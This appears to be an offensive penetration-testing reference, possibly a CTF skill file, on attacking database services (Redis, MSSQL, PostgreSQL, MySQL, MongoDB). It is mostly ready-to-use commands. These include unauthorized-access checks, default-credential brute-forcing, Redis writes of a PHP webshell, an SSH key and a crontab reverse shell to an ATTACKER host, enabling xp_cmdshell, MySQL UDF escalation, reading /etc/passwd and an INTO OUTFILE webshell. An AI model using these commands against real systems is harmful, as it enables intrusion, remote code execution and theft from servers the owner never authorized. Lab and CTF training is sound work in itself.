Databases are the core pivot point for internal network penetration—almost every application has a database backend, and databases usually have operating-system-level capabilities.
⛔ In-Depth References (Required Reading)
- Redis attacks (unauthorized access/file write/master-slave replication RCE) → references/redis-attack.md
- MSSQL attacks (xp_cmdshell/CLR/privilege escalation) → references/mssql-attack.md
- PostgreSQL attacks (command execution/file read and write/privilege escalation) → references/postgresql-attack.md
Phase 1: Database Identification
| Port | Service | Attack Priority |
|---|---|---|
| 6379 | Redis | ⭐⭐⭐ High probability of unauthorized access |
| 1433 | MSSQL | ⭐⭐⭐ xp_cmdshell direct RCE |
| 5432 | PostgreSQL | ⭐⭐ Strong command execution capability |
| 3306 | MySQL | ⭐⭐ UDF privilege escalation |
| 27017 | MongoDB | ⭐⭐ High probability of unauthorized access |
| 1521 | Oracle | ⭐ Complex exploitation |
Phase 2: General Attack Workflow
发现数据库端口?
├─ 1. 尝试未授权访问(空密码/匿名)
├─ 2. 弱口令爆破(默认账号 + top100)
├─ 3. 已知漏洞利用
├─ 4. 进入数据库后:
│ ├─ 搜索敏感数据(用户表/配置表/flag)
│ ├─ 尝试命令执行
│ └─ 尝试文件读写
└─ 5. 操作系统提权
Phase 3: Quick Unauthorized Access Detection
# Redis
redis-cli -h TARGET ping
# 返回 PONG → 未授权
# MSSQL(默认 sa 账号)
netexec mssql TARGET -u sa -p '' --local-auth
netexec mssql TARGET -u sa -p 'sa' --local-auth
# PostgreSQL
psql -h TARGET -U postgres -w
# 空密码测试
# MySQL
mysql -h TARGET -u root --skip-password
# MongoDB
mongosh --host TARGET --eval "db.adminCommand('listDatabases')"
Phase 4: Weak Password Brute-Forcing
# 通用爆破(netexec 支持多种协议)
netexec mssql TARGET -u userlist.txt -p passlist.txt --local-auth
netexec ssh TARGET -u userlist.txt -p passlist.txt
# 常见默认账号
# Redis: 无认证 / requirepass 常为弱密码
# MSSQL: sa / sa, sa / 空, sa / 123456
# PostgreSQL: postgres / postgres, postgres / 空
# MySQL: root / root, root / 空, root / 123456
# MongoDB: admin / admin, 无认证
Redis Quick Reference (Most Common)
# 未授权连接
redis-cli -h TARGET
# 信息收集
INFO server
CONFIG GET dir
CONFIG GET dbfilename
# 写 Webshell(需要 web 目录写权限)
CONFIG SET dir /var/www/html/
CONFIG SET dbfilename shell.php
SET pwn "<?php system($_GET['cmd']); ?>"
SAVE
# 写 SSH 密钥
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SET pwn "\n\nssh-rsa AAAA...\n\n"
SAVE
# 写 Crontab
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SET pwn "\n* * * * * bash -c 'bash -i >& /dev/tcp/ATTACKER/4444 0>&1'\n"
SAVE
→ Master-slave replication RCE / Lua sandbox escape → references/redis-attack.md
MSSQL Quick Reference
# 连接
impacket-mssqlclient DOMAIN/sa:PASSWORD@TARGET -windows-auth
# 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# 命令执行
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'type C:\flag.txt';
→ CLR exploitation / privilege escalation → references/mssql-attack.md
MySQL Quick Reference
# UDF 提权
# 1. 查找 plugin 目录
SHOW VARIABLES LIKE 'plugin_dir';
# 2. 写入 UDF .so 文件
# 3. 创建函数
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
# 文件读取
SELECT LOAD_FILE('/etc/passwd');
SELECT LOAD_FILE('C:/flag.txt');
# 写文件
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';